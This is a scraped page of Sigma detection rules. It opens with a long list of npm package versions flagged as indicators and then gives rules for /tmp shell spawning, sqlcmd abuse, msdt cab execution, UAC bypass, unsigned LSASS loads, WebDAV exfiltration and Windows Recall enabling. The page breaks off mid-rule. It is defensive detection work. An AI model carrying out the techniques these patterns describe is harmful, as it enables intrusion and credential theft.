        - 'react-native-fetch@2.0.1'
        - 'react-native-fetch@2.0.2'
        - 'react-native-get-pixel-dimensions@1.0.1'
        - 'react-native-get-pixel-dimensions@1.0.2'
        - 'react-native-google-maps-directions@2.1.2'
        - 'react-native-jam-icons@1.0.1'
        - 'react-native-jam-icons@1.0.2'
        - 'react-native-log-level@1.2.1'
        - 'react-native-log-level@1.2.2'
        - 'react-native-modest-checkbox@3.3.1'
        - 'react-native-modest-storage@2.1.1'
        - 'react-native-phone-call@1.2.1'
        - 'react-native-phone-call@1.2.2'
        - 'react-native-retriable-fetch@2.0.1'
        - 'react-native-retriable-fetch@2.0.2'
        - 'react-native-use-modal@1.0.3'
        - 'react-native-view-finder@1.2.1'
        - 'react-native-view-finder@1.2.2'
        - 'react-native-websocket@1.0.3'
        - 'react-native-websocket@1.0.4'
        - 'react-native-worklet-functions@3.3.3'
        - 'react-packery-component@1.0.3'
        - 'react-qr-image@1.1.1'
        - 'react-scrambled-text@1.0.4'
        - 'rediff-viewer@0.0.7'
        - 'rediff@1.0.5'
        - 'redux-forge@2.5.3'
        - 'redux-router-kit@1.2.2'
        - 'redux-router-kit@1.2.3'
        - 'redux-router-kit@1.2.4'
        - 'revenuecat@1.0.1'
        - 'rollup-plugin-httpfile@0.2.1'
        - 'sa-company-registration-number-regex@1.0.1'
        - 'sa-company-registration-number-regex@1.0.2'
        - 'sa-id-gen@1.0.4'
        - 'sa-id-gen@1.0.5'
        - 'samesame@1.0.3'
        - 'scgs-capacitor-subscribe@1.0.11'
        - 'scgsffcreator@1.0.5'
        - 'schob@1.0.3'
        - 'selenium-session-client@1.0.4'
        - 'selenium-session@1.0.5'
        - 'set-nested-prop@2.0.1'
        - 'set-nested-prop@2.0.2'
        - 'shelf-jwt-sessions@0.1.2'
        - 'shell-exec@1.1.3'
        - 'shell-exec@1.1.4'
        - 'shinhan-limit-scrap@1.0.3'
        - 'silgi@0.43.30'
        - 'simplejsonform@1.0.1'
        - 'skills-use@0.1.1'
        - 'skills-use@0.1.2'
        - 'solomon-api-stories@1.0.2'
        - 'solomon-v3-stories@1.15.6'
        - 'solomon-v3-ui-wrapper@1.6.1'
        - 'soneium-acs@1.0.1'
        - 'sort-by-distance@2.0.1'
        - 'south-african-id-info@1.0.2'
        - 'stat-fns@1.0.1'
        - 'stoor@2.3.2'
        - 'sufetch@0.4.1'
        - 'super-commit@1.0.1'
        - 'svelte-autocomplete-select@1.1.1'
        - 'svelte-toasty@1.1.2'
        - 'svelte-toasty@1.1.3'
        - 'tanstack-shadcn-table@1.1.5'
        - 'tavily-module@1.0.1'
        - 'tcsp-draw-test@1.0.5'
        - 'tcsp-test-vd@2.4.4'
        - 'tcsp@2.0.2'
        - 'template-lib@1.1.3'
        - 'template-lib@1.1.4'
        - 'template-micro-service@1.0.2'
        - 'template-micro-service@1.0.3'
        - 'tenacious-fetch@2.3.2'
        - 'tenacious-fetch@2.3.3'
        - 'test-foundry-app@1.0.1'
        - 'test-foundry-app@1.0.2'
        - 'test-foundry-app@1.0.3'
        - 'test-foundry-app@1.0.4'
        - 'test-hardhat-app@1.0.1'
        - 'test-hardhat-app@1.0.2'
        - 'test-hardhat-app@1.0.3'
        - 'test-hardhat-app@1.0.4'
        - 'test23112222-api@1.0.1'
        - 'tiaan@1.0.2'
        - 'tiptap-shadcn-vue@0.2.1'
        - 'token.js-fork@0.7.32'
        - 'toonfetch@0.3.2'
        - 'trigo-react-app@4.1.2'
        - 'ts-relay-cursor-paging@2.1.1'
        - 'typeface-antonio-complete@1.0.5'
        - 'typefence@1.2.2'
        - 'typefence@1.2.3'
        - 'typeorm-orbit@0.2.27'
        - 'unadapter@0.1.3'
        - 'undefsafe-typed@1.0.3'
        - 'undefsafe-typed@1.0.4'
        - 'unemail@0.3.1'
        - 'uniswap-router-sdk@1.6.2'
        - 'uniswap-smart-order-router@3.16.26'
        - 'uniswap-test-sdk-core@4.0.8'
        - 'unsearch@0.0.3'
        - 'uplandui@0.5.4'
        - 'upload-to-play-store@1.0.1'
        - 'upload-to-play-store@1.0.2'
        - 'url-encode-decode@1.0.1'
        - 'url-encode-decode@1.0.2'
        - 'use-unsaved-changes@1.0.9'
        - 'v-plausible@1.2.1'
        - 'valid-south-african-id@1.0.3'
        - 'valuedex-sdk@3.0.5'
        - 'vf-oss-template@1.0.1'
        - 'vf-oss-template@1.0.2'
        - 'vf-oss-template@1.0.3'
        - 'vf-oss-template@1.0.4'
        - 'victoria-wallet-constants@0.1.1'
        - 'victoria-wallet-constants@0.1.2'
        - 'victoria-wallet-core@0.1.1'
        - 'victoria-wallet-core@0.1.2'
        - 'victoria-wallet-type@0.1.1'
        - 'victoria-wallet-type@0.1.2'
        - 'victoria-wallet-utils@0.1.1'
        - 'victoria-wallet-utils@0.1.2'
        - 'victoria-wallet-validator@0.1.1'
        - 'victoria-wallet-validator@0.1.2'
        - 'victoriaxoaquyet-wallet-core@0.2.1'
        - 'victoriaxoaquyet-wallet-core@0.2.2'
        - 'vite-plugin-httpfile@0.2.1'
        - 'vue-browserupdate-nuxt@1.0.5'
        - 'wallet-evm@0.3.1'
        - 'wallet-evm@0.3.2'
        - 'wallet-type@0.1.1'
        - 'wallet-type@0.1.2'
        - 'web-scraper-mcp@1.1.4'
        - 'web-types-htmx@0.1.1'
        - 'web-types-lit@0.1.1'
        - 'webpack-loader-httpfile@0.2.1'
        - 'wellness-expert-ng-gallery@5.1.1'
        - 'wenk@1.0.10'
        - 'wenk@1.0.9'
        - 'zapier-async-storage@1.0.1'
        - 'zapier-async-storage@1.0.2'
        - 'zapier-async-storage@1.0.3'
        - 'zapier-platform-cli@18.0.2'
        - 'zapier-platform-cli@18.0.3'
        - 'zapier-platform-cli@18.0.4'
        - 'zapier-platform-core@18.0.2'
        - 'zapier-platform-core@18.0.3'
        - 'zapier-platform-core@18.0.4'
        - 'zapier-platform-legacy-scripting-runner@4.0.2'
        - 'zapier-platform-legacy-scripting-runner@4.0.3'
        - 'zapier-platform-legacy-scripting-runner@4.0.4'
        - 'zapier-platform-schema@18.0.2'
        - 'zapier-platform-schema@18.0.3'
        - 'zapier-platform-schema@18.0.4'
        - 'zapier-scripts@7.8.3'
        - 'zapier-scripts@7.8.4'
        - 'zuper-cli@1.0.1'
        - 'zuper-sdk@1.0.57'
        - 'zuper-stream@2.0.9'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • i corpus 3 (sigma 3)
  • 02-echo@0.0.7 corpus 2 (sigma 2)
  • @accordproject/concerto-analysis@3.24.1 corpus 2 (sigma 2)
  • @accordproject/concerto-linter-default-ruleset@3.24.1 corpus 2 (sigma 2)
  • @accordproject/concerto-linter@3.24.1 corpus 2 (sigma 2)
  • @accordproject/concerto-metamodel@3.12.5 corpus 2 (sigma 2)
  • @accordproject/concerto-types@3.24.1 corpus 2 (sigma 2)
  • @accordproject/markdown-it-cicero@0.16.26 corpus 2 (sigma 2)
  • @accordproject/template-engine@2.7.2 corpus 2 (sigma 2)
  • @actbase/css-to-react-native-transform@1.0.3 corpus 2 (sigma 2)
  • @actbase/native@0.1.32 corpus 2 (sigma 2)
  • @actbase/node-server@1.1.19 corpus 2 (sigma 2)
  • @actbase/react-absolute@0.8.3 corpus 2 (sigma 2)
  • @actbase/react-daum-postcode@1.0.5 corpus 2 (sigma 2)
  • @actbase/react-kakaosdk@0.9.27 corpus 2 (sigma 2)
  • @actbase/react-native-actionsheet@1.0.3 corpus 2 (sigma 2)
  • @actbase/react-native-devtools@0.1.3 corpus 2 (sigma 2)
  • @actbase/react-native-fast-image@8.5.13 corpus 2 (sigma 2)
  • @actbase/react-native-kakao-channel@1.0.2 corpus 2 (sigma 2)
  • @actbase/react-native-kakao-navi@2.0.4 corpus 2 (sigma 2)
  • @actbase/react-native-less-transformer@1.0.6 corpus 2 (sigma 2)
  • @actbase/react-native-naver-login@1.0.1 corpus 2 (sigma 2)
  • @actbase/react-native-simple-video@1.0.13 corpus 2 (sigma 2)
  • @actbase/react-native-tiktok@1.1.3 corpus 2 (sigma 2)
  • @afetcan/api@0.0.13 corpus 2 (sigma 2)
  • @afetcan/storage@0.0.27 corpus 2 (sigma 2)
  • @alaan/s2s-auth@2.0.3 corpus 2 (sigma 2)
  • @alexadark/amadeus-api@1.0.4 corpus 2 (sigma 2)
  • @alexadark/gatsby-theme-events@1.0.1 corpus 2 (sigma 2)
  • @alexadark/gatsby-theme-wordpress-blog@2.0.1 corpus 2 (sigma 2)
  • @alexadark/reusable-functions@1.5.1 corpus 2 (sigma 2)
  • @alexcolls/nuxt-socket.io@0.0.7 corpus 2 (sigma 2)
  • @alexcolls/nuxt-socket.io@0.0.8 corpus 2 (sigma 2)
  • @alexcolls/nuxt-ux@0.6.1 corpus 2 (sigma 2)
  • @alexcolls/nuxt-ux@0.6.2 corpus 2 (sigma 2)
  • @antstackio/eslint-config-antstack@0.0.3 corpus 2 (sigma 2)
  • @antstackio/express-graphql-proxy@0.2.8 corpus 2 (sigma 2)
  • @antstackio/graphql-body-parser@0.1.1 corpus 2 (sigma 2)
  • @antstackio/json-to-graphql@1.0.3 corpus 2 (sigma 2)
  • @antstackio/shelbysam@1.1.7 corpus 2 (sigma 2)
  • +1052 more values (see full rule source)
field:"CommandLine" kind:match
Imageends_with
  • \node
field:"Image" kind:ends_with value:"\node"

Shell Execution Of Process Located In Tmp Directory

#
Status
test
Severity
high
Author
Joseliyo Sanchez, @Joseliyo_Jstnk
Source
github.com/SigmaHQ/sigma

Detects execution of shells from a parent process located in a temporary (/tmp) directory

MITRE ATT&CK Coverage

TacticTechniques
ExecutionNo specific technique

Telemetry Coverage

PlatformRecord / event type
LinuxEvent ID 1: Process Create

Rule Body

title: Shell Execution Of Process Located In Tmp Directory
id: 2fade0b6-7423-4835-9d4f-335b39b83867
status: test
description: Detects execution of shells from a parent process located in a temporary (/tmp) directory
references:
    - https://blogs.jpcert.or.jp/en/2023/05/gobrat.html
    - https://jstnk9.github.io/jstnk9/research/GobRAT-Malware/
    - https://www.virustotal.com/gui/file/60bcd645450e4c846238cf0e7226dc40c84c96eba99f6b2cffcd0ab4a391c8b3/detection
    - https://www.virustotal.com/gui/file/3e44c807a25a56f4068b5b8186eee5002eed6f26d665a8b791c472ad154585d1/detection
author: Joseliyo Sanchez, @Joseliyo_Jstnk
date: 2023-06-02
tags:
    - attack.execution
logsource:
    product: linux
    category: process_creation
detection:
    selection:
        ParentImage|startswith: '/tmp/'
        Image|endswith:
            - '/bash'
            - '/csh'
            - '/dash'
            - '/fish'
            - '/ksh'
            - '/sh'
            - '/zsh'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ParentImage|startswith: '/tmp/'
    Image|endswith:
        - '/bash'
        - '/csh'
        - '/dash'
        - '/fish'
        - '/ksh'
        - '/sh'
        - '/zsh'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • /bash corpus 13 (sigma 13)
  • /csh corpus 4 (sigma 4)
  • /dash corpus 9 (sigma 9)
  • /fish corpus 4 (sigma 4)
  • /ksh corpus 5 (sigma 5)
  • /sh corpus 12 (sigma 12)
  • /zsh corpus 7 (sigma 7)
field:"Image" kind:ends_with
ParentImagestarts_with
  • /tmp/ corpus 10 (elastic 9, sigma 1)
field:"ParentImage" kind:starts_with value:"/tmp/"

SQL server sqlcmd utility abuse for privilege escalation

#
Status
experimental
Severity
high
Author
mdecrevoisier
Source
github.com/mdecrevoisier/SIGMA-detection-rules

Detects scenarios where an attacker uses sqlcmd utility to escalate privileges or introduce weaknesses.

Known False Positives

  • Master database restore procedure
  • Maintenance operation
  • Legitim SA account password recovery

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: SQL server sqlcmd utility abuse for privilege escalation
description: Detects scenarios where an attacker uses sqlcmd utility to escalate privileges or introduce weaknesses.
references:
- https://github.com/mdecrevoisier/EVTX-to-MITRE-Attack/tree/master/TA0003-Persistence/T1505.001-SQL%20Stored%20Procedures
- https://blog.netspi.com/when-databases-attack-hacking-with-the-osql-utility/
- http://travisaltman.com/pen-test-and-hack-microsoft-sql-server-mssql/
- https://thedfirreport.com/2021/12/13/diavol-ransomware/
- https://twitter.com/TheDFIRReport/status/1498804631090208777?t=TKMbiJINaLoJqQqXIF5mCA&s=09
- https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
- https://unit42.paloaltonetworks.com/espionage-campaign-targets-south-asian-entities/
tags:
- attack.persistence
- attack.t1505.001
- 
author: mdecrevoisier
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    NewProcessName|endswith:
      - '\sqlcmd.exe'     # used in recent SQL Server versions
      - '\osql.exe'       # used in old SQL server version
    CommandLine|contains: # specify the database\instance'
      - /S
      - -S
    CommandLine|contains: # runs a query and immediately exists
      - /Q
      - -Q
  condition: selection
falsepositives:
- Master database restore procedure
- Maintenance operation
- Legitim SA account password recovery
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
  NewProcessName|endswith:
    - '\sqlcmd.exe'
    - '\osql.exe'
  CommandLine|contains:
    - /S
    - -S
  CommandLine|contains:
    - /Q
    - -Q

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -Q corpus 8 (sigma 7, splunk 1)
  • /Q corpus 10 (sigma 9, splunk 1)
field:"CommandLine" kind:match
NewProcessNameends_with
  • \osql.exe
  • \sqlcmd.exe corpus 5 (sigma 5)
field:"Image" kind:ends_with

Suspicious Cabinet File Execution Via Msdt.EXE

#
Status
test
Severity
medium
Author
Nasreddine Bencherchali (Nextron Systems), GossiTheDog, frack113
Source
github.com/SigmaHQ/sigma

Detects execution of msdt.exe using the "cab" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190

Known False Positives

  • Legitimate usage of ".diagcab" files

MITRE ATT&CK Coverage

TacticTechniques
Stealth

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Suspicious Cabinet File Execution Via Msdt.EXE
id: dc4576d4-7467-424f-9eee-fd2b02855fe0
related:
    - id: 6545ce61-a1bd-4119-b9be-fcbee42c0cf3
      type: obsolete
status: test
description: Detects execution of msdt.exe using the "cab" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190
references:
    - https://twitter.com/nas_bench/status/1537896324837781506
    - https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab
    - https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0
    - https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd
author: Nasreddine Bencherchali (Nextron Systems), GossiTheDog, frack113
date: 2022-06-21
modified: 2024-03-13
tags:
    - attack.stealth
    - attack.t1202
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\msdt.exe'
        - OriginalFileName: 'msdt.exe'
    selection_cmd:
        CommandLine|contains|windash: ' -cab '
    condition: all of selection_*
falsepositives:
    - Legitimate usage of ".diagcab" files
level: medium

Stages and Predicates

Stage 0: condition

all of selection_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\msdt.exe'
    - OriginalFileName: 'msdt.exe'

Stage 2: selection_cmd

selection_cmd:
    CommandLine|contains|windash: ' -cab '

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
CommandLinematch
  • -cab
  • /cab
  • –cab
  • —cab
  • ―cab
field:"CommandLine" kind:match
Imageends_with
  • \msdt.exe corpus 10 (sigma 9, splunk 1)
field:"Image" kind:ends_with value:"\msdt.exe"
OriginalFileNameeq
  • msdt.exe corpus 7 (sigma 6, elastic 1)
field:"OriginalFileName" kind:eq value:"msdt.exe"

SyncAppvPublishingServer Execution to Bypass Powershell Restriction

#
Status
test
Severity
medium
Author
Ensar Şamil, @sblmsrsn, OSCD Community
Source
github.com/SigmaHQ/sigma

Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.

Known False Positives

  • App-V clients

MITRE ATT&CK Coverage

Telemetry Coverage

Rule Body

title: SyncAppvPublishingServer Execution to Bypass Powershell Restriction
id: dddfebae-c46f-439c-af7a-fdb6bde90218
related:
    - id: fde7929d-8beb-4a4c-b922-be9974671667
      type: derived
    - id: 9f7aa113-9da6-4a8d-907c-5f1a4b908299
      type: derived
status: test
description: Detects SyncAppvPublishingServer process execution which usually utilized by adversaries to bypass PowerShell execution restrictions.
references:
    - https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/
author: 'Ensar Şamil, @sblmsrsn, OSCD Community'
date: 2020-10-05
modified: 2022-12-25
tags:
    - attack.stealth
    - attack.t1218
logsource:
    product: windows
    category: ps_script
    definition: 'Requirements: Script Block Logging must be enabled'
detection:
    selection:
        ScriptBlockText|contains: 'SyncAppvPublishingServer.exe'
    condition: selection
falsepositives:
    - App-V clients
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    ScriptBlockText|contains: 'SyncAppvPublishingServer.exe'

Indicators

These rows show field, operator, and value matches.

System Information Discovery - Auditd

#
Status
test
Severity
low
Author
Pawel Mazur
Source
github.com/SigmaHQ/sigma

Detects System Information Discovery commands

Known False Positives

  • Likely

MITRE ATT&CK Coverage

TacticTechniques
Discovery

Telemetry Coverage

Rule Body

title: System Information Discovery - Auditd
id: f34047d9-20d3-4e8b-8672-0a35cc50dc71
status: test
description: Detects System Information Discovery commands
references:
    - https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1082/T1082.md
author: Pawel Mazur
date: 2021-09-03
modified: 2023-03-06
tags:
    - attack.discovery
    - attack.t1082
logsource:
    product: linux
    service: auditd
detection:
    selection_1:
        type: PATH
        name:
            - /etc/lsb-release
            - /etc/redhat-release
            - /etc/issue
    selection_2:
        type: EXECVE
        a0:
            - uname
            - uptime
            - lsmod
            - hostname
            - env
    selection_3:
        type: EXECVE
        a0: grep
        a1|contains:
            - vbox
            - vm
            - xen
            - virtio
            - hv
    selection_4:
        type: EXECVE
        a0: kmod
        a1: list
    condition: 1 of selection_*
falsepositives:
    - Likely
level: low

Stages and Predicates

Stage 0: condition

1 of selection_*

Stage 1: selection_1

selection_1:
    type: PATH
    name:
        - /etc/lsb-release
        - /etc/redhat-release
        - /etc/issue

Stage 2: selection_2

selection_2:
    type: EXECVE
    a0:
        - uname
        - uptime
        - lsmod
        - hostname
        - env

Stage 3: selection_3

selection_3:
    type: EXECVE
    a0: grep
    a1|contains:
        - vbox
        - vm
        - xen
        - virtio
        - hv

Stage 4: selection_4

selection_4:
    type: EXECVE
    a0: kmod
    a1: list

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
a0eq
  • env
  • grep
  • hostname corpus 2 (sigma 2)
  • kmod
  • lsmod
  • uname corpus 2 (sigma 2)
  • uptime
field:"a0" kind:eq
a1eq
  • list
field:"a1" kind:eq value:"list"
a1match
  • hv
  • vbox
  • virtio
  • vm
  • xen
field:"a1" kind:match
nameeq
  • /etc/issue corpus 2 (sigma 2)
  • /etc/lsb-release
  • /etc/redhat-release
field:"name" kind:eq
typeeq
  • EXECVE corpus 37 (sigma 31, splunk 6)
  • PATH corpus 19 (sigma 12, splunk 7)
field:"type" kind:eq

UAC Bypass Using .NET Code Profiler on MMC

#
Status
test
Severity
high
Author
Christian Burkard (Nextron Systems)
Source
github.com/SigmaHQ/sigma

Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 11: FileCreate

Rule Body

title: UAC Bypass Using .NET Code Profiler on MMC
id: 93a19907-d4f9-4deb-9f91-aac4692776a6
status: test
description: Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)
references:
    - https://github.com/hfiref0x/UACME
author: Christian Burkard (Nextron Systems)
date: 2021-08-30
modified: 2022-10-09
tags:
    - attack.privilege-escalation
    - attack.t1548.002
logsource:
    category: file_event
    product: windows
detection:
    selection:
        TargetFilename|startswith: 'C:\Users\'
        TargetFilename|endswith: '\AppData\Local\Temp\pe386.dll'
    condition: selection
falsepositives:
    - Unknown
level: high

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    TargetFilename|startswith: 'C:\Users\'
    TargetFilename|endswith: '\AppData\Local\Temp\pe386.dll'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
TargetFilenameends_with
  • \AppData\Local\Temp\pe386.dll
field:"TargetFilename" kind:ends_with value:"\AppData\Local\Temp\pe386.dll"
TargetFilenamestarts_with
  • C:\Users\ corpus 13 (sigma 9, elastic 4)
field:"TargetFilename" kind:starts_with value:"C:\Users\"

Unsigned Image Loaded Into LSASS Process

#
Status
test
Severity
medium
Author
Teymur Kheirkhabarov, oscd.community
Source
github.com/SigmaHQ/sigma

Loading unsigned image (DLL, EXE) into LSASS process

Known False Positives

  • Valid user connecting using RDP

MITRE ATT&CK Coverage

TacticTechniques
Credential Access

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 7: Image loaded

Rule Body

title: Unsigned Image Loaded Into LSASS Process
id: 857c8db3-c89b-42fb-882b-f681c7cf4da2
status: test
description: Loading unsigned image (DLL, EXE) into LSASS process
references:
    - https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
author: Teymur Kheirkhabarov, oscd.community
date: 2019-10-22
modified: 2021-11-27
tags:
    - attack.credential-access
    - attack.t1003.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        Image|endswith: '\lsass.exe'
        Signed: 'false'
    condition: selection
falsepositives:
    - Valid user connecting using RDP
level: medium

Stages and Predicates

Stage 0: condition

selection

Stage 1: selection

selection:
    Image|endswith: '\lsass.exe'
    Signed: 'false'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imageends_with
  • \lsass.exe corpus 5 (sigma 5)
field:"Image" kind:ends_with value:"\lsass.exe"
Signedeq
  • false corpus 9 (splunk 5, sigma 4)
field:"Signed" kind:eq value:"false"

Use Short Name Path in Image

#
Status
test
Severity
medium
Author
frack113, Nasreddine Bencherchali
Source
github.com/SigmaHQ/sigma

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection

Known False Positives

  • Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process.

MITRE ATT&CK Coverage

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Use Short Name Path in Image
id: a96970af-f126-420d-90e1-d37bf25e50e1
related:
    - id: 349d891d-fef0-4fe4-bc53-eee623a15969
      type: similar
status: test
description: Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image detection
references:
    - https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/
    - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)
    - https://twitter.com/frack113/status/1555830623633375232
author: frack113, Nasreddine Bencherchali
date: 2022-08-07
modified: 2025-10-20
tags:
    - attack.stealth
    - attack.t1564.004
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|contains:
            - '~1\'
            - '~2\'
    filter_main_system_process:
        ParentImage:
            - 'C:\Windows\System32\Dism.exe'
            - 'C:\Windows\System32\cleanmgr.exe'  # Spawns DismHost.exe with a shortened username (if too long)
    filter_main_installers:
        - Image|contains|all:
              - '\AppData\'
              - '\Temp\'
        - Image|endswith:
              - '~1\unzip.exe'
              - '~1\7zG.exe'
    filter_optional_webex:
        ParentImage|endswith: '\WebEx\WebexHost.exe' # Spawns a shortened version of the CLI and Image processes
    filter_optional_thor:
        ParentImage|endswith: '\thor\thor64.exe'
    filter_optional_installshield:
        - Product: 'InstallShield (R)'
        - Description: 'InstallShield (R) Setup Engine'
        - Company: 'InstallShield Software Corporation'
    condition: selection and not 1 of filter_main_* and not 1 of filter_optional_*
falsepositives:
    - Applications could use this notation occasionally which might generate some false positives. In that case Investigate the parent and child process.
level: medium

Stages and Predicates

Stage 0: condition

selection and not 1 of filter_main_* and not 1 of filter_optional_*

Stage 1: selection

selection:
    Image|contains:
        - '~1\'
        - '~2\'

Stage 2: not filter_main_*

filter_main_system_process:
    ParentImage:
        - 'C:\Windows\System32\Dism.exe'
        - 'C:\Windows\System32\cleanmgr.exe'
filter_main_installers:
    - Image|contains|all:
          - '\AppData\'
          - '\Temp\'
    - Image|endswith:
          - '~1\unzip.exe'
          - '~1\7zG.exe'

Stage 3: not filter_optional_*

filter_optional_webex:
    ParentImage|endswith: '\WebEx\WebexHost.exe'
filter_optional_thor:
    ParentImage|endswith: '\thor\thor64.exe'
filter_optional_installshield:
    - Product: 'InstallShield (R)'
    - Description: 'InstallShield (R) Setup Engine'
    - Company: 'InstallShield Software Corporation'

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
Imagematch
  • ~1\
  • ~2\
field:"Image" kind:match

Exclusions

The rule actively suppresses these predicates.

WebDav Put Request

#
Status
test
Severity
low
Author
Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
Source
github.com/SigmaHQ/sigma

A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.

MITRE ATT&CK Coverage

Rule Body

title: WebDav Put Request
id: 705072a5-bb6f-4ced-95b6-ecfa6602090b
status: test
description: A General detection for WebDav user-agent being used to PUT files on a WebDav network share. This could be an indicator of exfiltration.
references:
    - https://github.com/OTRF/detection-hackathon-apt29/issues/17
author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)
date: 2020-05-02
modified: 2024-03-13
tags:
    - attack.exfiltration
    - attack.t1048.003
logsource:
    product: zeek
    service: http
detection:
    selection:
        user_agent|contains: 'WebDAV'
        method: 'PUT'
    filter:
        id.resp_h|cidr:
            - '10.0.0.0/8'
            - '127.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '169.254.0.0/16'
    condition: selection and not filter
falsepositives:
    - Unknown
level: low

Stages and Predicates

Stage 0: condition

selection and not filter

Stage 1: selection

selection:
    user_agent|contains: 'WebDAV'
    method: 'PUT'

Stage 2: not filter

filter:
    id.resp_h|cidr:
        - '10.0.0.0/8'
        - '127.0.0.0/8'
        - '172.16.0.0/12'
        - '192.168.0.0/16'
        - '169.254.0.0/16'

Indicators

These rows show field, operator, and value matches.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
id.resp_hcidr_match10.0.0.0/8excludes:id.resp_h field:"id.resp_h" value:"10.0.0.0/8"
id.resp_hcidr_match127.0.0.0/8excludes:id.resp_h field:"id.resp_h" value:"127.0.0.0/8"
id.resp_hcidr_match169.254.0.0/16excludes:id.resp_h field:"id.resp_h" value:"169.254.0.0/16"
id.resp_hcidr_match172.16.0.0/12excludes:id.resp_h field:"id.resp_h" value:"172.16.0.0/12"
id.resp_hcidr_match192.168.0.0/16excludes:id.resp_h field:"id.resp_h" value:"192.168.0.0/16"

Windows Recall Feature Enabled Via Reg.EXE

#
Status
test
Severity
medium
Author
Sajid Nawaz Khan
Source
github.com/SigmaHQ/sigma

Detects the enabling of the Windows Recall feature via registry manipulation. Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" value, or setting it to 0. Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities. This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.

Known False Positives

  • Legitimate use/activation of Windows Recall

MITRE ATT&CK Coverage

TacticTechniques
Collection

Telemetry Coverage

ProviderRecord / event type
SysmonEvent ID 1: Process creation

Rule Body

title: Windows Recall Feature Enabled Via Reg.EXE
id: 817f252c-5143-4dae-b418-48c3e9f63728
related:
    - id: 5dfc1465-8f65-4fde-8eb5-6194380c6a62
      type: similar
    - id: 75180c5f-4ea1-461a-a4f6-6e4700c065d4
      type: similar
status: test
description: |
    Detects the enabling of the Windows Recall feature via registry manipulation.
    Windows Recall can be enabled by deleting the existing "DisableAIDataAnalysis" value, or setting it to 0.
    Adversaries may enable Windows Recall as part of post-exploitation discovery and collection activities.
    This rule assumes that Recall is already explicitly disabled on the host, and subsequently enabled by the adversary.
references:
    - https://learn.microsoft.com/en-us/windows/client-management/manage-recall
    - https://learn.microsoft.com/en-us/windows/client-management/mdm/policy-csp-windowsai#disableaidataanalysis
author: Sajid Nawaz Khan
date: 2024-06-02
tags:
    - attack.collection
    - attack.t1113
logsource:
    category: process_creation
    product: windows
detection:
    selection_img:
        - Image|endswith: '\reg.exe'
        - OriginalFileName: 'reg.exe'
    selection_value:
        # HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\WindowsAI\DisableAIDataAnalysis
        # HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsAI\DisableAIDataAnalysis
        CommandLine|contains|all:
            - 'Microsoft\Windows\WindowsAI'
            - 'DisableAIDataAnalysis'
    selection_action_add:
        CommandLine|contains:
            - 'add'
            - '0'
    selection_action_delete:
        CommandLine|contains: 'delete'
    condition: selection_img and selection_value and 1 of selection_action_*
falsepositives:
    - Legitimate use/activation of Windows Recall
level: medium

Stages and Predicates

Stage 0: condition

selection_img and selection_value and 1 of selection_action_*

Stage 1: selection_img

selection_img:
    - Image|endswith: '\reg.exe'
    - OriginalFileName: 'reg.exe'

Stage 2: selection_value

selection_value:
    CommandLine|contains|all:
        - 'Microsoft\Windows\WindowsAI'
        - 'DisableAIDataAnalysis'

Stage 3: selection_action_add

selection_action_add:
